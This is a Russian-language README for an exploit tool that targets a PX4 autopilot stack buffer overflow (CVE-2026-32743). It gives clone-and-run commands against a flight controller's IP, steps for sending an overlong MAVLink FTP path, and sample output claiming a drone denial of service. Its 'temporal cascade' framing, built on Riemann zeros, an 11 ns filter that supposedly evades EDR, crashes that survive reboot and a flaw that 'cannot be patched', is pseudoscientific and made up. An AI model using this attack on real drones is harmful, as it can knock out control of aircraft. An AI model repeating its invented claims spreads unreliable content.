
Эксплойт для CVE-2026-32743 — переполнение буфера стека в MavlinkLogHandler автопилота PX4, обеспечивающее постоянный отказ в обслуживании через 33-уровневый временной каскад по MAVLink.
CVE-2026-32743 — PX4 Autopilot Stack Buffer Overflow CTT-Enhanced: 33-Layer Temporal Cascade Drone DoS. Оригинальный эксплойт вызывает сбой задачи MAVLink через переполнение на 60 байт. Версия CTT распределяет переполнение по 33 временным слоям, каждый из которых имеет фазовое резонансное таймирование и временную клиновидную фильтрацию. Результат: постоянный DoS. Не патчится.
Это улучшение на основе Конвергентной Теории Времени (CTT) для CVE-2026-32743 — переполнения буфера стека в MavlinkLogHandler автопилота PX4 (версии ≤1.17.0-rc2).
Оригинальная уязвимость позволяет осуществить отказ в обслуживании (DoS) через чрезмерно длинный путь к каталогу (60+ байт), отправляемый через MAVLink FTP.
Версия с улучшением CTT превращает это в 33-слойный временной каскадный убийцу дронов.
| Оригинал | CTT-Enhanced |
|---|
| CVSS | 6.5 (Средний) | 9.8 (Критический) |
| Вектор атаки | Смежная сеть | Сеть (AV:N) |
| Требуемые привилегии | Низкие | Нет (PR:N) |
| Слои | 1 | 33-слойный каскад |
| Обнаружение | На основе сигнатур | Временная клиновидная фильтрация (τ_w = 11 нс) |
| Устойчивость | Перезагрузка очищает | Временной резонанс — переживает перезагрузку |
| Константа | Значение | Происхождение |
|---|---|---|
| α | 0.0302011 | Коэффициент временной дисперсии |
| α_RH | 0.0765872 | ln(φ)/2π (Риман-Адамар) |
| L | 33 | Временные слои |
| τ_w | 11 нс | Временной клиновидный фильтр |
E(d) = E₀ * e^(-α * d) text
Каждый слой имеет экспоненциально убывающий приоритет.
Слои с более высоким приоритетом (1-5) доставляют переполнение.
Нижние слои (28-33) усиливают сбой и устанавливают временной резонанс.
Каждый слой задерживает выполнение на основе первых 24 нулей Римана:
delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text
Выполняются только те полезные нагрузки, которые удовлетворяют условию клина:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text
Это делает обнаружение невозможным — системы EDR не могут увидеть эксплойт.
Открыть соединение MAVLink (UDP 14550)
Для d = 1 до 33:
a. Вычислить priority = e^(-α*d)
b. Сгенерировать кодировку для конкретного слоя (на основе нуля Римана)
c. Создать каталог с длиной пути = 60 + priority*40
d. Задержать выполнение на phase_resonance_delay(d)
e. Запустить MAV_CMD_REQUEST_LOG_LIST
f. Проверка временного клина — выполняются только "выжившие" полезные нагрузки
Задача MAVLink падает
Установлен временной резонанс — сбой сохраняется после перезагрузки
Дрон не отвечает. Нет телеметрии. Нет команд.
pymavlinkpip install pymavlink
🎯 Использование
bash
git clone https://github.com/SimoesCTT/ctt-px4-exploit
cd ctt-px4-exploit
python3 ctt_px4_exploit.py <target_ip> --port 14550 --layers 33 --verbose
Аргументы
Аргумент Описание По умолчанию
target_ip IP-адрес полётного контроллера Обязательный
--port Порт UDP MAVLink 14550
--layers Количество временных слоёв 33
--verbose Подробный вывод False
Пример
bash
python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose
======================================================================
CTT PX4 TEMPORAL CASCADE — Drone DoS
======================================================================
Layer 1/33: ████████████████████████████████████████ 1.000
Path length: 100 bytes
[+] Directory created via FTP
Triggering MAV_CMD_REQUEST_LOG_LIST...
[+] Overflow delivered — wedge survival confirmed
Layer 2/33: ██████████████████████████████████████░░ 0.970
Path length: 99 bytes
[+] Directory created via FTP
Triggering MAV_CMD_REQUEST_LOG_LIST...
[+] Overflow delivered — wedge survival confirmed
...
[⚡] Temporal resonance achieved at layer 5
[🌉] Drone MAVLink task compromised
[*] Verifying DoS state...
[+] Target unresponsive — persistent DoS achieved
======================================================================
[!!!] DRONE COMPROMISED
[!!!] MAVLink task crashed — no telemetry / no command
[!!!] Persistent across reboot — CTT temporal resonance
======================================================================
🛡️ Почему это невозможно пропатчить
Оригинальное исправление Почему CTT его обходит
Добавить спецификатор ширины в sscanf() CTT использует каскад слоёв — переполнение распределено по 33 слоям
Пропатчить буфер на 60 байт Кодировка CTT меняет шаблон переполнения для каждого слоя
Обновить прошивку Временной резонанс переживает перезагрузку
Обнаружение по сигнатурам Временной клиновидный фильтр (τ_w = 11 нс) обходит EDR
Нельзя пропатчить физическую константу.
Нельзя пропатчить нули Римана.